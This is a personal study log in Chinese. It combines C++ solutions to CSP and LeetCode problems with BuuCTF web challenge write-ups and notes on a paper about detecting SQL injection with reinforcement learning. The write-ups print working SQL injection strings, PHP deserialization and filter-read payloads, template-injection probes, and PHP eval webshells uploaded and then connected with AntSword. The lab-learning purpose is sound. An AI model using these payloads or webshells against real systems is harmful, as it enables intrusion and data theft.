20240224

CSP

2022-12-1 现值计算

=输入n和i,n表示复利的次数,i表示利率。然后用户输入n个数值,代表每次复利的金额。根据复利公式计算出总的复利金额,并输出结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<iostream>
#include<math.h>
using namespace std;

int main()
{
int n,j,m;
float i,sum=0;
cin>>n>>i;
for(j=0;j<=n;j++)
{
cin>>m;
sum+=m*pow(1+i,-j);

}
printf("%.3f\n",sum);
return 0;
}
2022-12-2 训练计划

70分

任务调度。输入n和m,n表示任务总数,m表示操作总数。接着输入m个操作,每个操作包括两个数值,第一个数值表示依赖的前一个操作的编号,第二个数值表示该操作需要的时间。程序会根据这些输入计算出每个操作的开始时间和结束时间,并输出结果。如果所有操作都能在规定时间内完成,则输出每个操作的开始时间和结束时间;如果有某个操作无法在规定时间内完成,则输出”0”表示无法完成。最后返回0表示程序正常结束。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include<iostream>
using namespace std;

int a[102][2];
int timee[102]={1};
int timel[102]={0};

int main()
{
int n,m,i,pd=1;
cin>>n>>m;
for(i=1;i<=m;i++)
{
cin>>a[i][0];
}
for(i=1;i<=m;i++)
{
cin>>a[i][1];
}
for(i=1;i<=m;i++)
{
if(a[i][0]==0)
{
timee[i]=1;
if(a[i][1]>n) pd=0;
timel[i]=n-a[i][1]+1;
}
else
{
timee[i]=timee[a[i][0]]+a[a[i][0]][1];
if(timee[i]+a[i][1]-1>n) pd=0;
timel[i]=n-a[i][1]+1;
}
}
for(i=1;i<=m;i++)
{
cout<<timee[i]<<" ";
}
cout<<endl;
if(pd==1)
{
for(i=1;i<=m;i++)
{
cout<<timel[i]<<" ";
}
}
cout<<endl;
return 0;
}

BuuCTF

24、NiZhuanSiWei

从题目的php代码中可以知道需要用get方式传三个参数,text,file,password

有一个php文件

image

访问该文件,什么都没有

有一行代码说我们要传入一个文件,内容是”welcome to the zjctf”

image

要用到data协议,data协议通常是用来执行PHP代码,也可以将内容写入data协议中,然后让file_get_contents函数取读取。构造:data://text/plain,welcome to the zjctf

为了绕过一些过滤,用base64编码构造payload:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

image

有一个可控参数file,构造file=useless.php,但是针对php文件我们需要进行base64编码,否则读取不到其内容,所以构造payload:/?file=php://filter/read=convert.base64-encode/resource=useless.php

完整payload:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

得到一串base64编码

image

解码

得到useless.php源码

image

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

有一个 flag.php ,并且file不为空将读取flag.php并显示。所以。构造一个序列化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php  

class Flag{ //flag.php
public $file=flag.php;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}

$a = new Flag();
$a->file="flag.php";
echo serialize($a);

找个在线运行PHP的网站,得到

image

构造payload:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image

查看源代码,得到flag

image

1
flag{6cb4bd76-2b5f-4876-9fe0-46f02e2d0062}
25、HardSQL

一些and、union、select、空格等常见的SQL语句被过滤了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
这道题是xpath报错注入,函数注入

extractvalue()
extractvalue() :对XML文档进行查询的函数

语法:extractvalue(目标xml文档,xml路径)

第一个参数 : 第一个参数可以传入目标xml文档

第二个参数: xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

      正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

tip: 还有要注意的地方是,它能够查询的字符串长度最大是32个字符,如果超过32位,我们就需要用函数来查询,比如right(),left(),substr()来截取字符串

再举个栗子:

SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 这个语句就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。

利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

输入用户名:1

密码:1'or'1'='1

image

出现这段话,并且url加上了/check.php

image

爆库名:?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=111

geek

image

爆表名:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(%27geek%27)),0x7e),1))%23&password=111

H4rDsq1

image

爆字段:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23&password=111

id,username,password

image

爆数据:?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=111

flag{52272770-1ba7-4986-8a7d-cb

image

这里只爆出前面一部分flag,然后再使用right()函数拼接flag?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=111

7-4986-8a7d-cb84363e2987}

image

1
flag{52272770-1ba7-4986-8a7d-cb84363e2987}

20240223

CSP

2023-5-1 重复局面

本题的主要思想是读取n个8个字符串的组合,统计每个组合在数组中出现的次数并输出。

首先从标准输入中读取一个整数n,然后定义了一个字符串数组xq,长度为101。接着使用两个嵌套的for循环,将每次循环中读取的8个字符串s依次添加到xq数组中的第i个位置。接着定义一个整数num,用来记录当前字符串在数组中出现的次数。然后再次使用一个循环遍历之前已经存储的字符串,如果有和当前字符串相同的,则num加1。最后输出num的值,表示当前字符串在数组中出现的次数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include<iostream>
#include<cstring>
using namespace std;

int main()
{
int n,i,j;
cin>>n;
string xq[101],s;
for(i=0;i<n;i++)
{
for(j=0;j<8;j++)
{
cin>>s;
xq[i]+=s;
}
int num=1;

for(j=0;j<i;j++)
{
if(xq[j]==xq[i]) num++;
}
cout<<num<<endl;
}
return 0;
}
2023-3-1 田地丈量

这道题的思想是计算n个矩形区域和给定区域(a,b)的交集总面积。

首先从标准输入中读取三个整数n,a,b。然后使用一个循环读取n组四个整数x1,y1,x2,y2。这四个整数表示一个矩形区域的左下角和右上角的坐标。在每次循环中,通过比较输入的矩形区域和给定的区域(a,b)是否有交集,如果有交集,则计算两个矩形区域的交集面积并累加到sum变量中。计算交集面积的方法是通过计算两个矩形区域在x和y轴上的重合部分的长度,然后相乘得到交集面积。最后输出sum变量的值,表示所有矩形区域和给定区域(a,b)的交集总面积。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include<iostream>
using namespace std;

int main()
{
int n,a,b,i,j,x1,x2,y1,y2,sum=0;;
cin>>n>>a>>b;
for(i=0;i<n;i++)
{
cin>>x1>>y1>>x2>>y2;
//if((x1<a && y1<b) || (x2>0 && y2>0) || (x1<a && y2>0) || (x2>0 && y1<b)) //有交集
//{
int x=min(x2,a)-max(x1,0);
int y=min(y2,b)-max(y1,0);
if(x>0&&y>0)
{
sum+=x*y;
}
//sum+=x*y;
//}
}
cout<<sum<<endl;
return 0;
}

BuuCTF

21、easy_tornado

题目首页有三个链接,首先查看/flag.txt,可以看到flag在/fllllllllllllag中

image

查看/fllllllllllllag,显示Error

image

并且url变成了/error?msg=Error

image

查看/welcome.txt,内容为render

image

1
2
render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 ,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

查看/hints.txt,这是一个加密方法,猜测 要构造filename=/fllllllllllllag&filehash=?

image-20230812150637958

在查阅资料后发现Error就是注入点

本题是模板注入SSTI模板注入 - 简书 (jianshu.com)

参考资料Tornado小记 – 模板中的Handler - 黑翼天使23 - 博客园 (cnblogs.com)

获取handler.settings环境变量:/error?msg={{handler.settings}}

得到cookie_secret

'cookie_secret': 'caffff81-323f-48da-8323-dc1530a0c95d'

image

编写脚本

1
2
3
4
5
6
7
import hashlib

def Md5(x):
md5 = hashlib.md5(str(x).encode("utf8")).hexdigest()
return md5

print(Md5("caffff81-323f-48da-8323-dc1530a0c95d"+Md5("/fllllllllllllag")))

image

构造/file?filename=/fllllllllllllag&filehash=7d14388e78d85a8f1e726052e9d4dfbd

得到flag

image

1
flag{5673c2e4-27f7-4962-8d87-f449b8069952}
22、admin

注册一个账号

由于题目叫admin,所以注册时直接用admin了

image

显示用户名已经被注册过

image

注册一个账号

由于题目叫admin,所以注册时直接用admin了

image

显示用户名已经被注册过

image

猜密码

用123登陆成功了。。。

image-20230812171109196

在网上看大佬解题思路

注册

image

登录,右侧依次查看

image

在change password的源代码中看到一个被注释的链接

image

访问这个链接,内容已被删除,所以就没再看了

image

1
flag{88c07276-46ea-4e23-a50d-ce722b067e0f}

20240222

CSP

2023-9-1 坐标变换(其一)

简单的坐标平移操作。首先从输入中读取两个整数n和m,表示有n组坐标点和m组平移向量。然后通过一个循环读取n组坐标点的x和y坐标,并将它们的和分别累加到sumx和sumy中。接着再通过一个循环读取m组平移向量的x和y坐标,将它们分别加上sumx和sumy,得到新的x和y坐标,最后输出这两个新坐标。通过这个操作,实现了将n组坐标点进行平移的功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<iostream>
using namespace std;

int main()
{
int n,m,i,sumx=0,sumy=0,x,y;
cin>>n>>m;
for(i=0;i<n;i++)
{
cin>>x>>y;
sumx+=x;
sumy+=y;
}
for(i=0;i<m;i++)
{
cin>>x>>y;
x+=sumx;
y+=sumy;
cout<<x<<" "<<y<<endl;
}
return 0;
}
2023-9-2 坐标变换(其二)

二维坐标变换。首先从输入中读取两个整数n和m,表示有n个变换操作和m组坐标点需要进行变换。然后使用两个vector数组k和xt分别存储变换系数和坐标偏移量。接着通过一个循环读取n个变换操作,每个操作包含一个整数x和一个浮点数cz,根据x的值来更新变换系数k和坐标偏移量xt。最后通过一个循环读取m组坐标点和两个整数cz1和cz2,根据之前计算的变换系数和坐标偏移量,对坐标点进行线性变换,然后输出变换后的坐标点。

注意:

在C++中,fixedsetprecision(3)是用来设置输出浮点数的格式和精度的。具体说明如下:

  • fixed:指定浮点数的输出格式为固定小数点表示。即输出的浮点数将以小数点表示,而不是科学计数法。
  • setprecision(3):指定浮点数的输出精度为3位小数。即输出的浮点数将保留3位小数。

在代码中,cout<<fixed<<setprecision(3)的作用是设置之后输出的浮点数都将采用固定小数点表示,并保留3位小数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include<iostream>
#include<cmath>
#include<iomanip>
#include<vector>
using namespace std;

int n,m;

vector<double> k(100005,1);
vector<double> xt(100005);

int main()
{
cin>>n>>m;
for(int i=1;i<=n;i++)
{
int x;
double cz;
cin>>x>>cz;
if(x==1)
{
k[i]=k[i-1]*cz;
xt[i]=xt[i-1];
}
else
{
k[i]=k[i-1];
xt[i]=xt[i-1]+cz;
}
}
for(int i=0;i<m;i++)
{
int cz1,cz2;
double x,y;
cin>>cz1>>cz2>>x>>y;
double bs=k[cz2]/k[cz1-1];
double ds=xt[cz2]-xt[cz1-1];
cout<<fixed<<setprecision(3)<<(x*cos(ds)-y*sin(ds))*bs<<" "<<(x*sin(ds)+y*cos(ds))*bs<<endl;
}
return 0;
}

BuuCTF

19、BuyFlag

查看源代码,发现有两个php文件链接,点击一个查看

image

点击右边的菜单,有PAYFLAG,点击查看

image

出现这段话

image

查看源代码,用POST的方式传参,money=100000000,password=404,但是password不能为数字,所以password等于404+任意字符

image

前面提示必须是cuit的学生,所以修改cookie里的user=0user=1

修改uesr=0为user=1,页面变了,提示输入password

image

post传参,password=404a&money=100000000,提示数字太长

image

尝试次方 1e9,得到flag

image

1
flag{2eaf1e59-0556-4816-b343-80a3466e934e} 
20、Easy MD5

查看源代码,找不到有用的信息,抓包

看到有一个提示:Hint: select * from 'admin' where password=md5($pass,true)

image

1
2
3
4
5
6
7
8
9
10
11
md5(string,raw)

string 必需,规定要计算的字符串。

raw 可选,规定十六进制或二进制输出格式: TRUE - 原始 16 字符二进制格式;FALSE - 默认。32 字符十六进制数

需要构造or来绕过password,md5(ffifdyop,true)='or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

原sql查询语句则变为select * from user where username ='admin' and password =''or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c'即可绕过

类似的字符串还有:md5(129581926211651571912466741651878684928,true)=\x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8

输入ffifdyop

image

提交

image

查看源代码

image

用get传参,满足a!=b且md5(a)=md5(b)

md5加密后的值开头为0E,则说明它们的值相等

payload:/levels91.php?a=s878926199a&b=s155964671a

image

包含flag.php文件

用post传参,满足param1!=param2且md5(param1)=md5(param2)

这里用php数组绕过,由于哈希函数无法处理php数组,在遇到数组时返回false,我们就可以利用false==false成立使条件成立。

param1[]=1&param2[]=2

得到flag

image

1
flag{5699128f-b8b5-4580-9e90-8ab95639eb15} 

20240221

LeetCode

3的幂

判断一个整数是否是3的幂。首先对输入的整数进行判断,如果小于等于0则直接返回false。然后对输入的整数进行循环除以3的操作,直到除以3得到的结果为1为止。在循环过程中,如果发现余数不为0则返回false,表示输入的整数不是3的幂。最终如果循环结束,说明输入的整数是3的幂,返回true。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Solution {
public:
bool isPowerOfThree(int n) {
if(n<=0) return false;
int x=n;
while(x!=1)
{
if(x%3==0)
{
x=x/3;
}
else
{
return false;
}
}
return true;
}
};
4的幂

判断一个整数是否是4的幂。首先对输入的整数进行判断,如果小于等于0则直接返回false。然后对输入的整数进行循环除以4的操作,直到除以4得到的结果为1为止。在循环过程中,如果发现余数不为0则返回false,表示输入的整数不是4的幂。最终如果循环结束,说明输入的整数是4的幂,返回true。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Solution {
public:
bool isPowerOfFour(int n) {
if(n<=0) return false;
int x=n;
while(x!=1)
{
if(x%4==0)
{
x=x/4;
}
else
{
return false;
}
}
return true;
}
};
统计能整除数字的位数

计算一个整数中有多少个数字能整除这个整数本身。首先定义一个变量n用于记录符合条件的数字个数,另一个变量m用于保存输入的整数。然后对输入的整数进行循环,每次取出最后一位数字进行判断是否能整除整数本身。如果能整除,则n加1。最后返回n,表示整数中有多少个数字能整除这个整数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Solution {
public:
int countDigits(int num) {
int n=0;
int m=num;
while(m!=0)
{
if(num%(m%10)==0)
{
n++;
}
m=m/10;
}
return n;
}
};

BuuCTF

17、BackupFile

题目名称叫备份文件,直接用dirsearch扫描:py -3.9 http://2677258c-1c01-46a9-9f37-cef51bea8534.node4.buuoj.cn:81/ -e php

响应成功的

image

image

image

访问/index.php.bak文件,下载下来了

image

查看文件,如果key=123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3,输出flag

image

如果直接构造payload:/?key=123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3

显示只要数字

image

==是弱相等,所以当key=123时,就会输出flag

构造payload:/?key=123

得到flag

image

1
flag{7e29466e-c1e3-4679-8eda-80c196664fe2}
18、Easy Calc

查看源代码,没看到啥

抓包,发现一个calc.php文件

image

查看该文件,有一个黑名单

image

1
2
3
4
5
知识点:
chr() 函数:从指定的 ASCII 值返回字符。 ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置0,而十六进制值被定义为带前置 0x。
file_get_contents() 函数:把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】。假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
scandir() 函数:返回指定目录中的文件和目录的数组。

查看源码,$(“#content”).val()相当于 document.getElementById(“content”).value;

image

PHP的字符串解析特性

尝试一下/calc.php?num=phpinfo()

image

1
PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】。假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

加个空格

image

由于“/”被过滤了,所以我们可以使用chr(47)来进行表示,进行目录读取:
calc.php? num=1;var_dump(scandir(chr(47)))

image

构造:/flagg——chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)

payload:calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

得到flag

image

1
flag{21d2d1ed-ae60-4490-a8b0-0f712482f7cd}

20240220

LeetCode

各位相加

addDigits函数接受一个整数num作为参数,然后通过一个while循环来计算各位数字相加的结果。在循环中,首先将num的个位数字加到sum中,然后将num除以10,以便在下一次循环中继续计算下一位数字。当num变为0时,说明已经计算完所有位上的数字,此时判断sum的值是否小于10,如果小于10则直接返回sum作为结果;如果大于等于10,则将sum赋值给num,然后将sum重置为0,继续下一轮计算。最终返回的sum即为各位数字相加的结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Solution {
public:
int addDigits(int num) {
int sum=0;
while(num!=0)
{
sum+=num%10;
num=num/10;
if(num==0)
{
if(sum<10) return sum;
else
{
num=sum;
sum=0;
}
}
}
return sum;
}
};
丑数

isUgly函数接受一个整数n作为参数,然后通过三重循环来计算所有可能的2、3、5的指数组合,然后判断是否等于n。如果等于n,则返回true,表示n是一个丑数;如果循环结束都没有找到符合条件的组合,那么返回false,表示n不是一个丑数。这段代码的时间复杂度较高,因为通过三重循环计算所有可能的指数组合会导致算法效率低下,更好的解决方案是通过不断除以2、3、5来简化n,直到n变为1或者无法再被2、3、5整除为止。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Solution {
public:
bool isUgly(int n) {
if(n<=0) return false;
int i=0,j=0,z=0;
for(i=0;i<32;i++)
{
for(j=0;j<20;j++)
{
for(z=0;z<14;z++)
{
if(pow(2,i)*pow(3,j)*pow(5,z)==n) return true;
}
}
}
return false;
}
};
丢失的数字

missingNumber函数接受一个整数数组nums作为参数,首先对nums进行排序,然后获取nums的长度n。接着判断特殊情况:若数组只有一个元素,则返回1减去该元素的值;若数组的第一个元素不是0,则返回0(因为0是缺失的数字)。然后通过循环遍历数组中的元素,找到第一个不连续的数字,即当前数字和下一个数字之差不为1,此时缺失的数字就是当前数字加1。最终返回的结果即为缺失的数字。这段代码的时间复杂度为O(nlogn),因为对数组进行了排序操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Solution {
public:
int missingNumber(vector<int>& nums) {
sort(nums.begin(),nums.end());
int n=nums.size();
int i=0;
if(n==1) return 1-nums[0];
if(nums[0]!=0) return 0;
for(i=0;i<n-1;i++)
{
if(nums[i+1]-nums[i]!=1)
{
break;
}
}
return nums[i]+1;
}
};

BuuCTF

15、BabySQL

常规注入:/check.php?username=admin&password=1' union select 1#

image

根据报错信息,猜测union 、select可能被过滤了,试一下双写绕过
/check.php?username=admin&password=1' ununionion seselectlect 1#

image

URL编码试一下,然后试列数
payload:/check.php?username=admin&password=1' ununionion seselectlect 1,2,3%23,登录成功

image

爆数据库:/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23,猜测flag在ctf里

image

爆表:/check.php?username=admin&password=1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23

image

查字段名:/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23

image

/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)%23

得到flag

image

1
flag{009a3737-39ae-44ff-8bfb-45287b1e2093}
16、PHP

题目提示了备份网站

image

使用目录扫描工具 dirsearch

目录扫描工具 dirsearch 使用详解 - FreeK0x00 - 博客园 (cnblogs.com)

可以直接到github上下载压缩包,解压后,进入目录运行cmd

首先安装dirsearch:python setup.py install

如果报错,可能是因为pip版本太低,更新pip:python -m pip install --upgrade pip

运行,开始扫描:py -3.9 dirsearch.py -u http://15349308-86d1-4f57-8e2c-50b34e5d48eb.node4.buuoj.cn:81/ -e php

响应成功的如下图所示

image

image

访问www.zip文件,下载了一个压缩包

image

解压得到一系列文件

image

查看index.php文件,发现包含class.php文件,采用get传参select,还有个php反序列化函数unserialize()

所以页面可以传进一个参数select然后把它反序列化,反序列化的过程中会用到class.php

image

查看class.php文件,有输出flag的条件

要调用到__destruct()并且password=100,username=admin才能echo $flag

image

魔法函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
在反序列化脚本结束时会自动调用它,它是unserialize()结束的魔术方法(魔法函数)

魔法函数
通常来说有一些PHP的魔法函数会导致反序列化漏洞,如:
__construct 当一个对象创建时自动调用
__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)
__sleep() 使**用serialize()函数时触发
__wakeup 使用unserialse()**函数时会自动调用
__toString 当一个对象被当作一个字符串被调用。
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据//调用私有属性时使用
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发

构造序列化,php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Name
{
private $username = "yesyesyes";
private $password = "nonono";
public function __construct($username,$password)
{
$this->username=$username;
$this->password=$password;
}
}
$a = new Name(@admin,100);
//var_dump($a);
//echo "<br>";
$b = serialize($a);
echo $b."<br>";//输出序列化
echo urlencode($b);//输出url编码后的序列化
?>

序列化后是这样的:

image

调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过,把Name后面的2改为3或以上即可

1
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

然后url识别不了”,改为%22

1
O:4:%22Name%22:3:{s:14:%22Nameusername%22;s:5:%22admin%22;s:14:%22Namepassword%22;i:100;}

因为成员(属性)是private,所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个空也输出。

1
O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

完整payload:

1
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

得到flag

image

1
flag{1e6c9083-a44b-4c83-9a9c-f865d6230e68}

20240218

LeetCode

多数元素

找出给定整数数组中的主要元素。

函数接收一个整数数组nums作为参数。首先获取数组的长度s,然后对数组进行排序。由于主要元素是出现次数超过数组长度一半的元素,因此排序后数组的中间元素一定是主要元素。所以函数返回排序后数组的中间元素nums[s/2]。整个函数的时间复杂度取决于排序算法的复杂度,一般情况下为O(nlogn),其中n为数组nums的长度。

1
2
3
4
5
6
7
8
class Solution {
public:
int majorityElement(vector<int>& nums) {
int s=nums.size();
sort(nums.begin(),nums.end());
return nums[s/2];
}
};
2的幂

判断一个数是否为2的幂。

函数中首先将输入的整数n赋值给变量m,然后进行循环判断。在循环中,如果m为0,则返回false;如果m能被2整除或者等于1,则将m除以2继续循环;否则返回false。最后返回true。该函数的时间复杂度取决于输入的整数n的大小,最坏情况下为O(logn)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Solution {
public:
bool isPowerOfTwo(int n) {
int m=n;
if(n==0) return false;
while(m!=0)
{
if(m%2==0 || m==1)
{
m=m/2;
continue;
}
else return false;
}
return true;
}
};
有效的字母异同位

判断两个字符串是否为异位词。

函数中首先定义了两个长度为26的数组s1和s2,用于记录字符串s和t中各个字符出现的次数。然后分别遍历字符串s和t,统计每个字符出现的次数,并存储在对应的数组中。最后比较两个数组中每个位置上的值,如果有不同的情况则返回false,否则返回true。整个函数的时间复杂度为O(n),其中n为字符串s和t的长度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Solution {
public:
bool isAnagram(string s, string t) {
int s1[26]={0},s2[26]={0};
int n1=s.length(),n2=t.length();
int i=0;
for(i=0;i<n1;i++)
{
s1[s[i]-'a']++;
}
for(i=0;i<n2;i++)
{
s2[t[i]-'a']++;
}
for(i=0;i<26;i++)
{
if(s1[i]!=s2[i]) return false;
}
return true;
}
};

BuuCTF

12、Knife

使用蚁剑,安装教程渗透工具:蚁剑教学 (安装+入门) - 知乎 (zhihu.com)

构造payload:/?<?php eval($_POST["Syc"]);?>

打开蚁剑添加数据

URL地址为:http://1c5dc4d2-1605-4b89-99ba-90068b6d2182.node4.buuoj.cn:81/index.php

密码为:Syc

image

测试连接,连接成功,再点击添加

image

右键单击,选择文件管理

image

查看根目录,发现有个flag

image

双击查看,得到flag

image

1
flag{1248bbb7-c099-4589-a699-63d87c2ec2d3}
13、Upload

创建一个木马文件

可绕过的后缀名检测:php,php3,php4,php5,phtml.pht

image

上传该文件,显示Not image!

image

image

抓包,修改Content-Type的内容为 image/jpeg,send,查看文件名后缀应为.phtml

image

使用蚁剑

URL地址为:/upload/a.phtml

连接密码为:a

测试连接,连接成功后添加

image

image

右键单击,文件管理,查看根目录,找到flag

image

双击查看flag

image

1
flag{34c3fd89-3b0b-450b-9953-287122b67247}
14、Upload

上传一句话木马<?php eval($_POST[a]);?>,修改后缀名为.jpg

image

抓包,显示上传成功

image

使用蚁剑连接,URL地址为:http://458e3dd3-d7c3-41c5-b4cd-06727f565048.node4.buuoj.cn:81/./uplo4d/394659692a460258b45a99f1424ea357.jpg

连接密码为:a

尝试一下,测试连接显示返回数据为空

image

尝试修改后缀名为.phtml

image

使用蚁剑连接,URL地址为:http://458e3dd3-d7c3-41c5-b4cd-06727f565048.node4.buuoj.cn:81/./uplo4d/71056c0c9cb12f2b7d720156da9eabf1.phtml

连接密码为:a

测试连接,连接成功 后添加

image

image

右键单击,文件管理

在根目录中找到flag

image

双击查看flag

image

1
flag{8337ba06-02fe-47b4-8563-e341d08b19fe}

SQIRL__

SQIRL: Grey-Box Detection of SQL Injection Vulnerabilities Using Reinforcement Learning 论文分享

Wahaibi, S. A., Foley, M., & Maffeis, S. (2023). SQIRL: Grey-Box Detection of SQL Injection Vulnerabilities Using Reinforcement Learning. 32nd USENIX Security Symposium (USENIX Security 23), 6097–6114.

pdf链接:usenix.org/system/files/usenixsecurity23-al-wahaibi.pdf

SQIRL:使用强化学习的SQL注入漏洞灰盒检测

SQIRL是一种基于深度强化学习,使用多个工作代理和灰盒反馈来检测SQL注入漏洞的新方法,使用单个代理来学习如何修正SQL语法、转义上下文和绕过sanitisation。

SQIRL:使用强化学习的SQL注入漏洞灰盒检测,SOIRL是一种基于深度强化学习,使用多个工作代理和灰盒反馈来检测SQL注入漏洞的新方法,使用单个代理来学习如何修正SQL语法、转义上下文和绕过sanitisation

绕过sanitisation

sanitize相当于把HTML语句中不允许出现的元素和属性删除

绕过sanitisation就是绕过这些不允许出现的元素和属性

syntax fixing, context escape, and sanitisation bypass

背景

SQL数据库应用广泛,为攻击者提供了重要的攻击面,但是由于只有复杂的有效载荷才会出发SQLi漏洞,因此SQLi漏洞很难被发现

现存的SQL注入漏洞扫描器局限

  1. 漏洞扫描器通常用于在投入生产之前找到漏洞,但是它们有时依赖于错误处理和网页上的SQL查询的反馈,导致在不存在错误时的有效性不高
  2. 现有的扫描器使用简单的基于规则的方法来覆盖最常见的SQL注入有效载荷,但是这些有效载荷缺乏多样性,并且无法根据特定的网络应用程序来制定有效载荷,导致扫描器忽略了合法的漏洞

本文的贡献

  1. 为代理实现一个强化学习(RL)环境,为SQL注入模糊Web应用程序,通过我们扩展的最先进的爬虫识别输入。
  2. 设计并实现了SQIRL,一种新的深度强化学习模糊方法。单个RL代理完成SQL注入的三项任务:语法修复、上下文转义和清理旁路,并且使用联合方式的工作代理在代理之间共享这些知识
强化学习

(待补充)

联邦学习

联邦学习是多个客户端模型在一段时间内独立训练,将学习得到的参数发送给中央服务器模型,服务器模型对得到的参数进行汇总(通常是求平均值),然乎将汇总后的参数发送给客户端,客户端使用新的参数进行训练,直至模型收敛。
